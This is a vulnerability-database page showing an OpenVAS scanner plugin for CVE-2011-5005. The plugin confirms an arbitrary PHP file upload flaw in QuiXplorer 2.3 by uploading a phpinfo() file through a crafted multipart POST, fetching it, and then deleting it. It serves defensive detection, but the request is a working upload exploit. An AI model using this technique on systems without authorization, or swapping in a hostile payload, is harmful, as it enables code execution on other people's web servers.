Lucene search
+L

QuiXplorer 'index.php' Arbitrary File Upload Vulnerability

🗓️ 05 Jan 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 32 Views

QuiXplorer 'index.php' Arbitrary File Upload Vulnerability. Vulnerability allows attackers to upload arbitrary code and run it in the context of the webserver process

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-5005
15 Nov 201100:00
circl
CVE
CVE-2011-5005
25 Dec 201101:00
cve
Cvelist
CVE-2011-5005
25 Dec 201101:00
cvelist
EUVD
EUVD-2011-4910
7 Oct 202500:30
euvd
NVD
CVE-2011-5005
25 Dec 201101:55
nvd
OpenVAS
QuiXplorer 'index.php' Arbitrary File Upload Vulnerability
5 Jan 201200:00
openvas
Prion
Unrestricted file upload
25 Dec 201101:55
prion
SourceLink
securityfocuswww.securityfocus.com/bid/50673
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:claudio_klingler:quixplorer";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103377");
  script_cve_id("CVE-2011-5005");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2025-09-05T15:40:40+0000");

  script_name("QuiXplorer 'index.php' Arbitrary File Upload Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50673");

  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2012-01-05 11:51:25 +0100 (Thu, 05 Jan 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_quixplorer_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("QuiXplorer/installed");

  script_tag(name:"summary", value:"QuiXplorer is prone to an arbitrary-file-upload vulnerability because
  the application fails to adequately sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to upload arbitrary code and run it
  in the context of the webserver process.");

  script_tag(name:"affected", value:"QuiXplorer 2.3 is vulnerable, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir,"/index.php?action=upload&order=type&srt=yes");
useragent = http_get_user_agent();
host = http_host_name(port:port);

vtstrings = get_vt_strings();
filename = vtstrings["lowercase_rand"] + ".php";
len = 1982 + strlen(filename);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
             "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
             "Accept-Encoding: gzip, deflate\r\n",
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
             "Connection: keep-alive\r\n",
             "Referer: http://",host,url,"\r\n",
             "Content-Type: multipart/form-data; boundary=---------------------------5307133891507148240988240459\r\n",
             "Content-Length: ",len,"\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="MAX_FILE_SIZE"',"\r\n",
             "\r\n",
             "2097152\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="confirm"',"\r\n",
             "\r\n",
             "true\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename="',filename,'"',"\r\n",
             "Content-Type: application/x-php\r\n",
             "\r\n",
             '<?php phpinfo(); ?>',"\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459--\r\n");
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(result =~ "HTTP/1.. 302" && "Location:" >< result) {

  lines = split(result);
  foreach line (lines) {
    if(egrep(pattern:"Location:",string:line)) {
      location = eregmatch(pattern:"Location: (.*)$",string:line);
      break;
    }
  }

  if(isnull(location[1]))exit(0);

  url = chomp(location[1]);
  req1 = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req1, bodyonly:FALSE);

  if(filename >!< buf)exit(0);

  lines = split(buf);
  foreach line (lines) {

    if(filename >< line && "<A HREF=" >< line) {
      url = eregmatch(pattern:'<A HREF="([^"]+)"',string:line);
      break;
    }
  }

  if(isnull(url[1]))exit(0);

  req2 = http_get(item:url[1], port:port);
  buf2 = http_keepalive_send_recv(port:port, data:req2, bodyonly:FALSE);

  if("<title>phpinfo()" >< buf2) {

    # delete uploaded file
    del = "do_action=delete&first=y&selitems%5B%5D=" + filename;
    req = string("POST ", dir, "/index.php?action=post&order=type&srt=yes HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "User-Agent: ", useragent, "\r\n",
                 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
                 "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
                 "Accept-Encoding: gzip, deflate\r\n",
                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
                 "Connection: keep-alive\r\n",
                 "Referer: http://",host,url,"\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ",strlen(del),"\r\n",
                 "\r\n",
                 del);
    result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
    security_message(port:port);
    exit(0);
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation